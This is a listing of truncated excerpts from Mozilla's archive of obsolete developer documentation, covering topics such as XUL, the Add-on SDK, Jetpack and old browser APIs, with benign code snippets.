icon file named "icon-16.png" in add-on's "data" directory. you could download this icon: . this add-on creates a button with mozilla favicon as an icon. it has a click handler which fetches the active tab and loads a script into the page hosted by the active tab. the script is specified using the contentscript option, and just draws a red border around the page. then open any web page in the browser window, and click the button . you should see a red border appear around the page, like this: keeping content scripts in a separate file in the example above, we've passed in content script as a string. unless script is extremely simple, maintain the script as a separate file in add-on's data directory. this makes the code easier to maintain, debug, and review. to do this, provide option c...
Troubleshooting - Archive of obsolete content
und, so you can check its output to be sure. check your text console when errors are generated in the sdk's apis and your code, they are logged to the text console. this should be the same console or shell from which you ran the jpm command. search for known issues someone else might have experienced your problem, too. other users often post problems to the project mailing list. you can also browse the list of known issues or search for specific keywords. contact the project team and user group sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you're welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. and if...
Tutorials - Archive of obsolete content
rough of creating a simple add-on with the sdk, using jpm. create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascript. add a context menu item add items to firefox's context menu. interact with the browser open a web page open a web page in a new browser tab or window using the tabs module, and access its content. listen for page load use the tabs module to get notified when new web pages are loaded, and access their content. get the list of open tabs use the tabs module to iterate through the currently open tabs, and access their content. modify web pages modify web p...
Add-on SDK - Archive of obsolete content
ou can create firefox add-ons. you can use various standard web technologies: javascript, html, and css, to create the add-ons. the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons. tutorials getting started how to install the sdk and use the jpm tool to develop, test, and package add-ons. interact with the browser open web pages, listen for pages loading and list open pages. development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. create user interface components create user interface components such as toolbar buttons, context menus, menu items, and dialogs. modify web pages modify pages ...
Autocomplete - Archive of obsolete content
turning autocomplete on for a xul widget this article is about xul widgets and not about html form inputs. first, declare a panel with the "autocomplete" type, like so: <panel id="popup_autocomplete" type="autocomplete" noautofocus="true" /> now set the autocompletepopup attribute of your <browser> element to the id of the panel you just declared: <browser id="my_browser" ... autocompletepopup="popup_autocomplete" /> finally, make sure that the value of the browser.formfill.enable pref is set to true. see also textbox (toolkit autocomplete) how to implement custom autocomplete search component ...
Dialogs and Prompts - Archive of obsolete content
alog.xul: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="mydialogid" title="my dialog" ondialogaccept="return onok();" onload="onload();" persist="screenx screeny width height" windowtype="mydialogwindowtype"> <script type="application/javascript" src="chrome://myext/content/mydialog.js"/> <grid> <columns><column/><column/></columns> <rows> <row align="center"><label value="name:"/><textbox id="name"/></row> <row align="center"><label value="description:"/><textbox id="description"/></row> <row align="center"><spacer/><checkbox id="enabled" label="check to enable"/></row> </rows> </grid> </dialog> mydialog.js: // called once when the dialog displays function onload() { // use the arguments passed to us ...
IsDefaultNamespace - Archive of obsolete content
the following is a snippet to get isdefaultnamespace() supported across other browsers. note that all gecko-based browsers (including firefox) support node.isdefaultnamespace. this function is not necessary for gecko-based browsers (though the function will quickly return the standard value for mozilla browsers). // http://www.w3.org/tr/dom-level-3-core/core.html#node3-isdefaultnamespace // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } ...
LookupPrefix - Archive of obsolete content
here is an implementation of lookupprefix which should work cross-browser. note that all gecko-based browsers (including firefox) support node.lookupprefix. this function is not necessary for gecko-based browsers when used in xhtml. function lookupprefix (node, namespaceuri) { var htmlmode = document.contenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use ...
Modules - Archive of obsolete content
the use of eval() will probably not be of concern because it is only being used on the exported_symbols array which should not depend on user input. function importmodule (thatobj) { thatobj = thatobj || window; var exported_symbols = [ // put the symbols here ]; // your code here... ...
Page Loading - Archive of obsolete content
page loading on page load how to execute code each time a new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events. post data to window code to post data to an existing or new window/tab ...
Rosetta - Archive of obsolete content
by default, the only possible standardized scripting language for html is ecmascript. hence, if you are going to use another scripting language you might expect that most of the browsers will not recognize it. also, regarding some languages (like c), it is even not well defined the meaning of part of their semantics in respect to a scope that is more restricted than the full access to the resources they usually deal with – imagine, for example, the meaning of a c pointer within a html page! nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascript allow us, in theory, to build full virtual machines in pure ecmascript. therefore, it is also possible, in theory, to use ecmascript for a smaller task: parsing exotic programm...
Tabbox - Archive of obsolete content
try to avoid using it. ...
JavaScript Daemons Management - Archive of obsolete content
oad this .zip file. about the “callback arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support sending additional parameters to timers' callback function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (commented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module. daemon.js what follows is the module that declares the daemon constructor (the core of this framework). the daemon constructor itself is nothing but a clone of the little framework minidaemon with added support for init and onstart functions (declarable during the instantiation of the daemon). so the minidaemon framework will rem...
View Source for XUL Applications - Archive of obsolete content
be considered private, and might become inaccessible in the future. void viewsource(aobject); methods viewsource opens a viewer to the source code for some document or uri. parameters the viewsource method takes an object as its first and only parameter. the object can include the following properties: url (required) a string url for the document to view the source of. browser (optional) the browser containing the document that we would like to view the source of. this is optional if outerwindowid is not passed. outerwindowid (optional) the outerwindowid of the content window containing the document that we want to view the source of. pass this if you want to attempt to load the document source out of the network cache. linenumber (optional) the line number to f...
XML-related code snippets - Archive of obsolete content
e4x ...
XPath - Archive of obsolete content
espaceresolver,returntype,result); //contextnode should be used in the one in which it was created //add by mooring 2008-11-15 16:00 china var xhr = new ajax('post','demo.xml',parsexml,'xml'); //ajax is a class written by javascript which return responsexml object to parsexml function function parsexml(obj)//obj is the returnxml object now { if(!obj.documentelement) { alert("your browser does't support this script!"); return; } var fields = [];//store the results if(window.activexobject) { var tobj = obj.documentelement.selectnodes("/root/field/item"); for(var i=0;i<tobj.length; i++) { fields.push(tobj[i].text); } } else { var tobj = obj.evaluate("/root/field/item",obj.documentelement,null, xpathresult.any_type, null); var tmp = tobj.iteratenext(); w...
getAttributeNS - Archive of obsolete content
as some browsers do not support getattributens, the following might be used to work on them as well. while namespaced attributes are less common than namespaced elements, some standards such as xlink depend on them. note that all gecko-based browsers (including firefox) support dom:element.getattributens. this function is not necessary for gecko-based browsers. function getattributenswrapper (thisitem, ns, nsatt) { if (thisitem === null) { return false; } if (thisitem.getattributens) { return thisitem.getattributens(ns, nsatt); } else if (ns === null) { return thisitem.getattribute(nsatt); } else if (ns === 'http://www.w3.org/xml/1998/namespace') { // this is assumed so don't try to get an xmlns for the 'xml' prefix return thisitem...
Developing add-ons - Archive of obsolete content
distribution web site. extensions extensions add new functionality to mozilla applications such as firefox, seamonkey and thunderbird. they can add anything from a toolbar button to a completely new feature. plugins information about how to create plugins, which are binary components that let mozilla based software display content they can't handle natively. jetpack browser extension development for everyone. jetpack developers only need to know the tools of the modern web: html, css, and javascript. themes themes let users customize the appearance of the user interface presented by mozilla-based applications. search engine plugins firefox supports search engine plugins, which enable the search box to support different search ...
Installing Extensions and Themes From Web Pages - Archive of obsolete content
this is used to verify the downloaded file, to protect against a corrupted file being served by a mirror download server, for example. you can use any hash function supported by nsicryptohash. the hash is specified as hash function:hash value, for example, sha1:28857e60d043447c5f4550853f2d40770b326a13. tostring() the tostring() property should return the xpi url, for compatibility with firefox browsers older than version 1.0, and other applications such as seamonkey. themes pretty much everything i've described applies to themes too, except you'll use the installchrome function. because so many sites installed extensions by direct-linking the xpi file and relying on content handling to invoke the confirmation ui, many sites are (incorrectly) doing so for theme jar files too and wondering w...
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
technology jscript, there was an initial reluctance to use javascript at all. nevertheless, the rise of web services like google maps, which used javascript and asynchronous communications, created an awareness of a set of technologies nicknamed ajax (asynchronous javascript and xml); that plus the advent of a number of libraries that paper over implementation differences between different web browsers has more recently led to a re-evaluation of javascript as a programming language. javascript is a prototype-based object-oriented language, and as shown in listing 3, also permits independent class definitions. it does not have strict typing like java, making it extremely flexible and giving it qualities that in some senses could be considered similar to lisp. firefox 3.5 includes a number o...
Adding windows and dialogs - Archive of obsolete content
document is being opened, not a web page. this means that the document defines the whole window, and not only the inner content area. you should always include it when opening a xul window or dialog. modal. modal windows block their parent window until action is taken on them. an alert window is an example of this. modal windows should be avoided when possible because they interrupt the user's browsing and can become annoying very quickly. this feature should only be used when there's no way to continue without having the user do something. never open modal windows at startup. resizable. indicates the user can resize the window or not. in general, windows should not be resizable unless they display dynamically generated content from a datasource, such as lists or trees that may need resizin...
Appendix A: Add-on Performance - Archive of obsolete content
do as little as possible in your load handler. ask yourself: is there anything i can’t run 100 ms or even 500 ms later? if there is, just use an nsitimer or the settimeout function to delay running this code . the firefox window will be able to load sooner and your startup code will run almost instantaneously afterward, in parallel with the loading of the homepage or the saved tab session. the browser will now load faster, and your code will still load at startup for all practical purposes. the code is simple enough: // this is the function that is called in the load event handler. init : function() { let that = this; // run this later and let the window load. window.settimeout(function() { that.postinit(); }, 500); }, postinit: function() { // actual init code goes here. }, how...
Connecting to Remote Content - Archive of obsolete content
besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. ...
The Box Model - Archive of obsolete content
ss. you'll also need to do some css work on the labels so that the inner spacing in the text looks right. another option is to take it up a notch and really use html. xulschoolhello.linkedtext.label = go to <html:a onclick="%s">our site</html:a> for more information to include html in a xul document, you need to add the namespace for it in the document root: <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> then you can have an html:p (paragraph) element where you insert the result of parsing the property string. you can easily parse xml using the domparser object. since xul documents are strict xml, you can only use strict xhtml in xul, and not the more loosely-formatt...
Overlay extensions - Archive of obsolete content
prior to firefox 4, and the gecko 2 engine that powers it, this was the only way to develop extensions. this methodology has largely been superseded by restartless extensions, and the add-on sdk, which is built on top of them. ...
bookmarks.export() - Archive of obsolete content
exports bookmarks to an html bookmark file. syntax browser.bookmarks.export( function() {...} // optional function ) parameters callbackoptional function. ...
bookmarks.import() - Archive of obsolete content
imports bookmarks from an html bookmark file. syntax browser.bookmarks.import( function() {...} // optional function ) parameters callbackoptional function. ...
Adding preferences to an extension - Archive of obsolete content
cases this doesn't refer to the right object. see method binding for detailed explanation. once we have the symbol in the local variable symbol, we use that to construct the url and the string to display in the status bar panel. installing the event listeners the only thing left to do is to install the event listeners needed to run the startup() and shutdown() routines automatically when the browser window is loaded and unloaded. window.addeventlistener("load", function(e) { stockwatcher.startup(); }, false); window.addeventlistener("unload", function(e) { stockwatcher.shutdown(); }, false); design the preference dialog now that we've written all the code, we need to build the xul file for the options dialog. <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="te...
Creating reusable content with CSS and XBL - Archive of obsolete content
o() ]]></handler> </handlers> </binding> </bindings> make a new css file, bind6.css. this separate stylesheet contains style for the binding. copy and paste the content from here: /*** xbl demonstration ***/ [anonid="square"] { width: 20em; height: 20em; border: 2px inset gray; } [anonid="button"] { margin-top: 1em; padding: .5em 2em; } open the document in your browser and press the button. this wiki does not support javascript in pages, so it is not possible to show the demonstration here. it looks something like this, before and after you press the button: notes about this demonstration: the html document links the document stylesheet as usual, but it does not link any javascript code. the document does not contain any buttons. it onl...
Beginner tutorials - Archive of obsolete content
ge includes archived beginners tutorials, from various places around mdn. creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display problems in multiple browsers. learn why this is so, and how to keep your sites from being bitten by this problem. this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces. ...
DOMSubtreeModified - Archive of obsolete content
example the following code will display the time of last dom change on the title bar of the page. this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example). document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
MozBeforeResize - Archive of obsolete content
general info specification mozilla specific interface event bubbles no cancelable no target window default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. ...
Install.js - Archive of obsolete content
// check if extension is already installed in profile if (file.exists(install.getfolder(profiledir, jarname))) { if (!this.silentinstall) { install.alert('updating existing profile install of ' + this.extfullname + ' to version ' + this.extversion + '.'); } this.profileinstall = true; } else if (!this.silentinstall) { // ask user for install location, profile or browser dir? this.profileinstall = install.confirm('install ' + this.extfullname + ' ' + this.extversion + ' to your profile directory (ok) or your browser directory (cancel)?'); } // init install var dispname = this.extfullname + ' ' + this.extversion; var regname = '/' + this.extauthor + '/' + this.extshortname; install.initinstall(dispname, regname, this.extversion); // find dir...
JXON - Archive of obsolete content
firefox & chrome (v8) and partially supported in opera 9+ and safari. it is not supported in internet explorer 6-9, or in the preview of internet explorer 10. const is going to be defined by ecmascript 6, but with different semantics. similar to variables declared with the let statement, constants declared with const will be block-scoped. we used it only for didactic purpose. if you want a full browser compatibility of this library, please replace all the const statements with the var statements. usage the obtained non-native jxon global object will have two methods: method description jxon.build(document[, verbosity[, freeze[, nesteattributes]]]) returns a javascript object based on the given xml document. jxon.unbuild(objtree[, namespaceuri[, qualifiednam...
Source Navigator - Archive of obsolete content
with it, you can edit your source code, display relationships between classes and functions and members, and display call trees. ...
Working with BFCache - Archive of obsolete content
fcache exactly? a: bfcache stands for back-forward cache. for more info about this, read how to use firefox caching. q: when a user clicks a link that replaces the view in the current tab with a new page, what is the fate of the nsidomwindow supporting the view they click on? or: what happens when they hit the 'back' button? a: the outer nsidomwindow (the |window| object in content js, aka the <browser>'s contentwindow object in the parent document) stays right where it is. it just has its inner window and document replaced. the inner nsidomwindow (the global scope object in content js) is either thrown away when gc happens, or frozen and placed in the bfcache. when the user hits the 'back' button, either the window in bfcache is thawed or a new inner window is created, depending on whether t...
Misc top level - Archive of obsolete content
ous gapsalmost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the principles (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.no proxy for configurationthis document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.same-origin policy for file: urisin gecko 1.8 or earlier, any two file: uris are considered to be same-origin. in other words, any html file on...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
ou how to fetch, build and use the pluginhostctrl.dll . get the source you need cvs to get the source code. assuming you have cvs somewhere in your path, type this from a command prompt: c:\> set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot c:\> set home=\temp c:\> cvs login (logging in to anonymous@cvs-mirror.mozilla.org) cvs password: anonymous c:\> cvs -z3 co mozilla/embedding/browser/activex/src/pluginhostctrl this fetches the source for the control into mozilla\embedding\browser\activex\src\pluginhostctrl. you can also see the code online. build it it is quite simple to build the control locate the pluginhostctrl directory: open pluginhostctrl.dsp build "win32 debug" or another target open some of the test files under pluginhostctrl\tests in internet explorer to ver...
Blackwood - Archive of obsolete content
blackwood consists of a series of java-based extensions to mozilla. blackwood's mission is to put java support in mozilla on a par with javascript support. ...
Chromeless - Archive of obsolete content
the [now discontinued] webrunner name) was/is a way to make web pages superficially appear to be native applications. firefox users could choose to turn a web page into a "prism application" and have an icon added to their desktop to launch it without the firefox user interface surrounding the page. however, prism "applications", being web pages, were subject to all the normal restrictions that browsers place on a web page. for example, prism applications could not read/write files directly from/to the computer's file system. one of the ideas behind chromeless is to remove these restrictions. ...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
ilename starts with "np" and ends with ".dll" (or "32.dll"? 8.3?) and copy it in mozilla's "plugins" folder start mozilla and open about:plugins to verify the plugin is detected open the file "test.html" and begin testing. make sure the mimetypes of your html embed tags match the mimetype specified in your nprt.rc file and the top of your npp_gate.cpp file version issues if vc++ compiler throws you error c2664 on 'drawtext' function call, you may replace it by 'drawtexta'. in fact, all win32 api functions dealing with character strings can be added an 'a' to the end to avoid unicode cast errors. visual c++ 2008 express don't support c99 standard about int32_t, uint32_t. you have to add #include "nptypes.h" in top of plugin.h file. feel free to append here your issues fixes if the abov...
Adding the structure - Archive of obsolete content
it can contain both text messages (i.e. "done" in mozilla when a document finishes loading) and graphical messages (f.e. the lock icon in mozilla that shows whether or not a loaded document was encrypted with ssl). sta...
Enabling the behavior - updating the status periodically - Archive of obsolete content
code into navigator.xul, just as we put a reference to our css code into that file back in specifying the appearance. put the javascript code into a file called tinderstatus.js in the same directory as navigator.xul and reference it in navigator.xul where other javascript scripts are referenced: ... ...
Finding the code to modify - Archive of obsolete content
dom inspector now that we've found the file to edit, we need to find the specific code within that file. again, the dom inspector makes this easy. the "document - dom nodes" pane on the left-hand side of the inspector window displays a tree representation of the browser window's xul file. when you select a node in the tree, a red border flashes for several seconds around the visual representation of that node in the browser window. scroll down the tree to the statusbar node and select it. notice the flashing red border around the horizontal status bar at the bottom of the browser window. click the plus sign next to the statusbar node in the dom inspector and select each statusbarpanel node in turn. notice the flashing red border around each different section of the status bar. open...
Making a Mozilla installation modifiable - Archive of obsolete content
jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/. after you make these changes, try starting the copy of mozilla you have modified. ...
Specifying the appearance - Archive of obsolete content
« previousnext » ...
Creating a Mozilla Extension - Archive of obsolete content
warning: the content of this article may be out of date. this tutorial describes how to create an extension for the old versions of mozilla suite (currently seamonkey). see building an extension for an up-to-date tutorial (it focuses on firefox, but is also applicable to other new applications). a mozilla extension is an installable enhancement to the mozilla browser that provides additional functionality (for example linky, which adds an item to the context menu for opening multiple links in a document or selection). this tutorial walks you through the process of building a mozilla extension that adds an icon to mozilla's status bar showing the current status of the mozilla source code (i.e. whether or not the latest version of the code is compiling successfully and passing tests). the ex...
Creating a Microsummary - Archive of obsolete content
ers to be able to install it from http://people.mozilla.com/~myk/micro...ial/index.html, we might add the following code to the index.html page: <button onclick="window.sidebar.addmicrosummarygenerator('http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml')">install the spread firefox home page microsummary!</button> clicking that button will generate a javascript error on browsers that don't support microsummaries, however, so to improve the experience for those users, we should check to see if the user is using a microsummaries-enabled browser and display an explanatory message if not. we might do so via the following code: <script> const warning = "sorry, you need a microsummary-enabled browser like firefox 2.0 to install and use microsummary generators."; functi...
Creating regular expressions for a microsummary generator - Archive of obsolete content
are some characters between them. matching another ebay url we now have a regular expression that matches auction item urls, including those with multiple query parameters in any order. but ebay uses a different style of url in some cases (f.e. on its search results page). here's a url for the same item in that different style: http://cgi.ebay.com/mozilla-firefox-logo-1-inch-pin-badge-button-browser_w0qqitemz280018439106qqihz018qqcategoryz2036qqcmdzviewitem to accommodate these urls, we can create a second regular expression that matches them. as before, we should distinguish the components of the url which are unique to the item from those which are common to all auction item urls of this style. here are several other urls of this style: http://cgi.ebay.com/firefox-2002-dvd_w0qqitemz...
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
try to avoid using it. warning: this technology is obsolete. no active maintainer has stepped forward, and the code broke in firefox 4. the code has been removed from the mozilla source tree. xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. ...
Exception logging in JavaScript - Archive of obsolete content
getinterface() method on the nsiinterfacerequestor interface. all other errors are reported when the last javascript frame on the stack returns to a c++ caller without handling the exception. that last point deserves clarification. consider this call chain: here we see c++ code calling javascript, which calls back into c++, which then calls back into javascript. if the javascript in frame 4 throws an exception, the exception is returned as an error code to the c++ in frame 3. no exception will be logged to the error console in this case. that c++ may handle the error, generate a different error, or simply pass it straight back to the js in frame 2. if the javascript in frame 2 either receives an exception from frame 3 or generates its own exception, and that exception remains unandled, the...
Using microformats - Archive of obsolete content
firefox 3 implements a global microformats object that provides access to microformats. this object and its api make finding and reading microformats easy to do. loading the microformats api the microformats object is created using the new javascript script loader added to firefox 3. ...
Firefox Sync - Archive of obsolete content
ts. it exists as a core javascript module providing generic functionality and ui components for each product. server a server implementation of the sync http protocol. clients communicate through it. firefox home an ios application that functions as a sync client. mozilla server instance an instance of the server deployed and maintained by mozilla. if you use sync in your browser, this is what it talks to by default. specifications there are numerous specifications concerning sync. these include: an http api for client-server interaction storage formats used by the the clients cryptographic model for encrypting client data the definitive source for these specifications is http://docs.services.mozilla.com/. running a server it is possible to run your own sync serve...
Creating a Help Content Pack - Archive of obsolete content
t in command elements, oncommand attributes, and other such places. ...
Introducing the Audio API extension - Archive of obsolete content
audio data api extension extends the html5 specification of the <audio> and <video> media elements by exposing audio metadata and raw audio data. this enables users to visualize audio data, to process this audio data and to create new audio data. obsolete since gecko 28 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. deprecated since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the ...
CRMF Request object - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won...
generateCRMFRequest() - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won...
importUserCertificates - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won...
popChallengeResponse - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won...
Java in Firefox Extensions - Archive of obsolete content
ntain a singleton (some singular java object) across all firefox windows. if you call java from xul, then each firefox window will have its own class loader and hence its own "singleton". the following approach is taken from the extension xquseme (note you must use the latest version, currently still in the sandbox, as prior versions only worked with liveconnect before java 6 update 11) which borrows some of the code of the java firefox extension in order to grant full privileges to java within a firefox extension, but it is easier to understand and doesn't require creation of a xpcom component. [note: a simpler hello world version than that below is now available at http://brett-zamir.me/java_demo/ ] for privileges, the basic procedure is: download and include http://simile.mit.edu/reposit...
Settings - Archive of obsolete content
settings are private to each jetpack and are not accessible by other jetpacks. ...
Settings - Archive of obsolete content
tpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! the jetpack.storage.settings namespace allows jetpacks to specify user-configurable settings. jetpack will automatically generate a user interface based on the specification. the settings persist across browser sessions and are stored using the jetpack simple storage api. settings are private to each jetpack and are not accessible by other jetpacks. because it is still under development, the api currently lives in the future and must be imported before it is used: jetpack.future.import("storage.settings"); specifying settings in a manifest to specify its settings, a jetpack defines a variable named m...
Storage - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! simple storage an easy-to-use persistent object data store file access interface for performing file i/o settings settings persist across browser sessions and are accessible to jetpacks via simple object retrieval and assignment. ...
Notifications - Archive of obsolete content
the namespace for this class is jetpack.notifications. methods show(titlestring, [body as string] iconstring)draws a notification box. ...
slideBar - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! slidebar is a reinvention of the old sidebar features of browsers. they allow quick access to a wide range of both temporary and permanent information at the side of your browser window. when a slidebar feature is selected its contents will be revealed from behind the current webpage. it currently under development and lives in the future. jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar ins...
statusBar - Archive of obsolete content
you can find the complete sourcecode in the status-bar-panel.js file in your jetpack repository. namespace: jetpack.statusbar methods copybackground embediframe append the append methods adds a new item to the statusbar. many of the options are optional. syntax jetpack.statusbar.append(options); possible options are: url width (string/length) the width of the panel-item html (string) the html code which will be used inside the item onload (event) this event fires when the item was appended. its acutally not implemented in the current version. ...
Message Summary Database - Archive of obsolete content
few bugs in the mork code. mork loads the whole database in memory, and keeps it there. this makes it very fast to access our database objects, but it does increase memory usage. mork assumes the caller will do file locking, so two processes or threads writing to the same database can corrupt it. but i believe sql-lite has the same problem. mork is schema-less. this means we can add properties to rows arbitrarily. and we only pay the storage cost for a property if the row has the property set. we can still index on these properties, if we want. we would need the equivalent capabilities if we replaced mork. ...
Mozilla Application Framework - Archive of obsolete content
open source and proprietary applications and combine the mozilla framework with other libraries. dozens of existing applications from both large and small development teams. did you know? the mozilla app framework can be used to build standalone desktop applications like komodo, apps that run on top of the mozilla application suite like mozblog, and web applications like the mozilla amazon browser. mozilla has been ported to more than a dozen platforms including windows (95, 98, nt, 2000, xp, ce), mac os x, linux, solaris, beos, openvms, os/2, aix, and hp-ux. you can build simple but powerful mozilla-based applications using just javascript and xul. original document information author(s): myk melez last updated date: march 3, 2003 copyright information: portions of this conten...
Mozilla Crypto FAQ - Archive of obsolete content
note that this document is for your information only and is not intended as legal advice. if you wish to develop and distribute cryptographic software, particularly for commercial sale or distribution, then you should consult an attorney with expertise in the particular laws and regulations that apply in your jurisdiction. ...
How to Write and Land Nanojit Patches - Archive of obsolete content
try to avoid using it. nanojit was removed during the development of (firefox 11 / thunderbird 11 / seamonkey 2.8), so this information is relevant to earlier versions of the codebase. adobe and mozilla share a copy of nanojit. this means that landing nanojit patches is a bit complicated, but experience has taught us that this is much better than having separate versions of nanojit. ...
Overview of how downloads work - Archive of obsolete content
e two ways of downloading files in mozilla. one way is to encounter a file with an unknown content type, the other is to choose "save link target as" from the context menu of a link. things like file|save page as, save image as, etc. are all part of the second codepath. this document describes both codepaths (see below for the second one). click on the images to display them "stand-alone" in the browser, which may resize them to fit the browser window. downloads via the helper app service this diagram is an uml sequence diagram, and was created using dia. get the .dia file here: mozilla_downloads.dia downloads via "save link target as" and friends this diagram is an uml sequence diagram, and was created using dia. get the .dia file here: mozilla_downloads_path2.dia original document...
Plug-n-Hack Get Involved - Archive of obsolete content
while this project has been started by the mozilla security team and has been validated with firefox and owasp zap, this is an open project and we welcome involvement from anyone, especially people working on other browsers and security tools. if you would like to add pnh support to a browser or tool, or even get involved in onward pnh development, then please get in touch and we will give you whatever assistance we can. to contribute or keep up to date with plug-n-hack changes please joion the mozilla plug-n-hack google group. you can also talk to the mozilla security team about this project on the #websectools irc channel. related links plug-n-hack overview ...
Plug-n-Hack Phase2 - Archive of obsolete content
the next phase of plug-n-hack (pnh) is still being planned but is intended to allow browsers to advertise their capabilities to security tools. this will allow the tools to obtain information directly from the browser, and even use the browser as an extension of the tool. if you are interested in working on this aspect then please get in touch. related links plug-n-hack overview ...
BundleLibrary - Archive of obsolete content
a service that lets you upload your entire music library to their servers and listen from anywhere through a slick flash interface. aol email : aolemail.webapp bbc radio player bbcradioplayer.webapp bloglines : bloglines.webapp bloglines beta: beta.bloglines.webapp chandler: chandler.webapp flash earth (integrates all major mapping sites) flashearth.webapp flickr: flickr.webapp gollum wikipedia browser in english:gollum_en.webapp google notebook: gnote.webapp google page creator: google_pagecreator.webapp google reader + gtalk : prism-bundle-google-reader-with-gtalk.webapp google webmaster tools: google_webmastertools.webapp grandcentral inbox: grandc.webapp (note: grandcentral requires the flash plugin. only way i found to add the flash plugin to webrunner was to copy my plugins folder from ...
Configuration - Archive of obsolete content
